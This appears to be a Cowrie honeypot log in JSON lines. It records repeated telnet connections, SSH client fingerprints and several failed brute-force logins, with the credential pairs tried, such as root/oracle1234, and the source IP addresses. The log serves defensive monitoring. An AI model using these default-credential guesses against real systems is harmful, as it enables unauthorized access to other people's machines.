{"eventid":"cowrie.session.closed","duration":30.760154008865356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:59.348904Z","src_ip":"69.6.196.124","session":"34afcd684889","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.129470109939575,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:59.621920Z","src_ip":"69.6.196.124","session":"fc360cc6c3a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.007019996643066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:44:59.817698Z","src_ip":"69.6.196.124","session":"0fdc46f522f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3686683177948,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:00.009069Z","src_ip":"69.6.196.124","session":"c6783b94d067","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":34184,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d808c0a5f81","protocol":"telnet","message":"New connection: 69.6.196.124:34184 (159.203.135.109:23) [session: 8d808c0a5f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:00.112935Z"}
{"eventid":"cowrie.session.closed","duration":30.605260610580444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:00.295749Z","src_ip":"69.6.196.124","session":"a660ee612489","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":34210,"dst_ip":"159.203.135.109","dst_port":23,"session":"23b8cc5d3465","protocol":"telnet","message":"New connection: 69.6.196.124:34210 (159.203.135.109:23) [session: 23b8cc5d3465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:02.088973Z"}
{"eventid":"cowrie.session.closed","duration":30.446215629577637,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:02.277549Z","src_ip":"69.6.196.124","session":"6621f86e31c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":34232,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a650f20f44e","protocol":"telnet","message":"New connection: 69.6.196.124:34232 (159.203.135.109:23) [session: 6a650f20f44e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:02.636792Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":35128,"dst_ip":"10.17.0.5","dst_port":22,"session":"5613c874eab7","protocol":"ssh","message":"New connection: 103.13.206.100:35128 (10.17.0.5:22) [session: 5613c874eab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:03.005316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:03.010964Z","src_ip":"103.13.206.100","session":"5613c874eab7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:03.245725Z","src_ip":"103.13.206.100","session":"5613c874eab7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":34238,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0db59305c99","protocol":"telnet","message":"New connection: 69.6.196.124:34238 (159.203.135.109:23) [session: a0db59305c99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:03.447555Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":34244,"dst_ip":"159.203.135.109","dst_port":23,"session":"e36710c6138a","protocol":"telnet","message":"New connection: 69.6.196.124:34244 (159.203.135.109:23) [session: e36710c6138a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:03.649551Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"oracle1234","message":"login attempt [root/oracle1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:04.214309Z","src_ip":"103.13.206.100","session":"5613c874eab7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":34246,"dst_ip":"159.203.135.109","dst_port":23,"session":"5db738bc3197","protocol":"telnet","message":"New connection: 69.6.196.124:34246 (159.203.135.109:23) [session: 5db738bc3197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:04.659577Z"}
{"eventid":"cowrie.session.closed","duration":31.097219467163086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:05.038811Z","src_ip":"69.6.196.124","session":"7a6450c48d22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36483407020569,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:05.331603Z","src_ip":"69.6.196.124","session":"e9c29cb2fa50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:05.450783Z","src_ip":"103.13.206.100","session":"5613c874eab7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.70278573036194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:05.470371Z","src_ip":"69.6.196.124","session":"214edae71fa6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.897964239120483,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:05.979019Z","src_ip":"69.6.196.124","session":"d286b9895b81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":45136,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c1893cfb160","protocol":"ssh","message":"New connection: 201.184.50.251:45136 (10.17.0.5:22) [session: 7c1893cfb160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:05.987490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:05.993069Z","src_ip":"201.184.50.251","session":"7c1893cfb160","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":34284,"dst_ip":"159.203.135.109","dst_port":23,"session":"27d3901d8d9f","protocol":"telnet","message":"New connection: 69.6.196.124:34284 (159.203.135.109:23) [session: 27d3901d8d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:06.048358Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:06.085961Z","src_ip":"201.184.50.251","session":"7c1893cfb160","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.451125383377075,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:06.493256Z","src_ip":"69.6.196.124","session":"6a76430394a4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123","message":"login attempt [vbox/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:06.504382Z","src_ip":"201.184.50.251","session":"7c1893cfb160","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":34254,"dst_ip":"159.203.135.109","dst_port":23,"session":"670c710da685","protocol":"telnet","message":"New connection: 69.6.196.124:34254 (159.203.135.109:23) [session: 670c710da685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:06.513966Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":34224,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dbd74f9a32c","protocol":"telnet","message":"New connection: 69.6.196.124:34224 (159.203.135.109:23) [session: 7dbd74f9a32c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:06.575149Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":34300,"dst_ip":"159.203.135.109","dst_port":23,"session":"c60c55b9fb73","protocol":"telnet","message":"New connection: 69.6.196.124:34300 (159.203.135.109:23) [session: c60c55b9fb73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:06.581274Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":34270,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0b1fc0e5e6e","protocol":"telnet","message":"New connection: 69.6.196.124:34270 (159.203.135.109:23) [session: d0b1fc0e5e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:06.794492Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:07.600116Z","src_ip":"201.184.50.251","session":"7c1893cfb160","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":34316,"dst_ip":"159.203.135.109","dst_port":23,"session":"1637ff246ee6","protocol":"telnet","message":"New connection: 69.6.196.124:34316 (159.203.135.109:23) [session: 1637ff246ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:07.636831Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":34336,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b6dca4c7d99","protocol":"telnet","message":"New connection: 69.6.196.124:34336 (159.203.135.109:23) [session: 6b6dca4c7d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:08.340585Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":34326,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3dbd7e4e6d3","protocol":"telnet","message":"New connection: 69.6.196.124:34326 (159.203.135.109:23) [session: f3dbd7e4e6d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:08.743651Z"}
{"eventid":"cowrie.session.closed","duration":30.91207218170166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:09.307432Z","src_ip":"69.6.196.124","session":"a1f53ee17ef6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53002,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ffa3bd79310","protocol":"telnet","message":"New connection: 69.6.196.124:53002 (159.203.135.109:23) [session: 2ffa3bd79310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:09.705139Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53004,"dst_ip":"159.203.135.109","dst_port":23,"session":"9730e49ef688","protocol":"telnet","message":"New connection: 69.6.196.124:53004 (159.203.135.109:23) [session: 9730e49ef688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:09.794133Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53006,"dst_ip":"159.203.135.109","dst_port":23,"session":"02a8b493fde1","protocol":"telnet","message":"New connection: 69.6.196.124:53006 (159.203.135.109:23) [session: 02a8b493fde1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:10.056459Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53012,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5d1bf1a14d3","protocol":"telnet","message":"New connection: 69.6.196.124:53012 (159.203.135.109:23) [session: a5d1bf1a14d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:10.210593Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53020,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9cf97fc20d8","protocol":"telnet","message":"New connection: 69.6.196.124:53020 (159.203.135.109:23) [session: e9cf97fc20d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:11.476826Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53014,"dst_ip":"159.203.135.109","dst_port":23,"session":"4466b7d5bd15","protocol":"telnet","message":"New connection: 69.6.196.124:53014 (159.203.135.109:23) [session: 4466b7d5bd15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:11.496541Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53034,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3a7233492a5","protocol":"telnet","message":"New connection: 69.6.196.124:53034 (159.203.135.109:23) [session: c3a7233492a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:12.490053Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53056,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d5e52d50d28","protocol":"telnet","message":"New connection: 69.6.196.124:53056 (159.203.135.109:23) [session: 3d5e52d50d28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:12.587573Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53060,"dst_ip":"159.203.135.109","dst_port":23,"session":"b596ba3382c1","protocol":"telnet","message":"New connection: 69.6.196.124:53060 (159.203.135.109:23) [session: b596ba3382c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:12.828585Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53042,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e796c628752","protocol":"telnet","message":"New connection: 69.6.196.124:53042 (159.203.135.109:23) [session: 9e796c628752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:12.970552Z"}
{"eventid":"cowrie.session.closed","duration":30.647395133972168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:13.265863Z","src_ip":"69.6.196.124","session":"3f61137e22db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.398592233657837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:13.413464Z","src_ip":"69.6.196.124","session":"82195a40da2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53062,"dst_ip":"159.203.135.109","dst_port":23,"session":"119b35c5fa46","protocol":"telnet","message":"New connection: 69.6.196.124:53062 (159.203.135.109:23) [session: 119b35c5fa46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:13.532448Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53072,"dst_ip":"159.203.135.109","dst_port":23,"session":"82e7739f2a6d","protocol":"telnet","message":"New connection: 69.6.196.124:53072 (159.203.135.109:23) [session: 82e7739f2a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:13.950882Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53078,"dst_ip":"159.203.135.109","dst_port":23,"session":"12581a6bc80d","protocol":"telnet","message":"New connection: 69.6.196.124:53078 (159.203.135.109:23) [session: 12581a6bc80d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:14.200763Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":55294,"dst_ip":"10.17.0.5","dst_port":22,"session":"be709eb74767","protocol":"ssh","message":"New connection: 41.63.62.103:55294 (10.17.0.5:22) [session: be709eb74767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:14.677313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:14.682580Z","src_ip":"41.63.62.103","session":"be709eb74767","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53092,"dst_ip":"159.203.135.109","dst_port":23,"session":"439fdf5a1a3d","protocol":"telnet","message":"New connection: 69.6.196.124:53092 (159.203.135.109:23) [session: 439fdf5a1a3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:14.786106Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53096,"dst_ip":"159.203.135.109","dst_port":23,"session":"4163f04742ad","protocol":"telnet","message":"New connection: 69.6.196.124:53096 (159.203.135.109:23) [session: 4163f04742ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:14.856606Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:14.952797Z","src_ip":"41.63.62.103","session":"be709eb74767","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.412827730178833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:14.959978Z","src_ip":"69.6.196.124","session":"479ecada5a50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53100,"dst_ip":"159.203.135.109","dst_port":23,"session":"dae19f0d3e2b","protocol":"telnet","message":"New connection: 69.6.196.124:53100 (159.203.135.109:23) [session: dae19f0d3e2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:15.121128Z"}
{"eventid":"cowrie.session.closed","duration":31.090989112854004,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:15.256210Z","src_ip":"69.6.196.124","session":"e0e4a5045cdd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123123","message":"login attempt [deployer/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:16.071529Z","src_ip":"41.63.62.103","session":"be709eb74767","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.962823390960693,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:16.449523Z","src_ip":"69.6.196.124","session":"afcf53724a41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53110,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8966070b51e","protocol":"telnet","message":"New connection: 69.6.196.124:53110 (159.203.135.109:23) [session: f8966070b51e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:16.551611Z"}
{"eventid":"cowrie.session.closed","duration":30.97620677947998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:16.665240Z","src_ip":"69.6.196.124","session":"1635f94745e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.023437976837158,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:16.703725Z","src_ip":"69.6.196.124","session":"213855205f95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53114,"dst_ip":"159.203.135.109","dst_port":23,"session":"b94934cbaf35","protocol":"telnet","message":"New connection: 69.6.196.124:53114 (159.203.135.109:23) [session: b94934cbaf35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:16.713148Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53120,"dst_ip":"159.203.135.109","dst_port":23,"session":"c86256bf3027","protocol":"telnet","message":"New connection: 69.6.196.124:53120 (159.203.135.109:23) [session: c86256bf3027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:16.744570Z"}
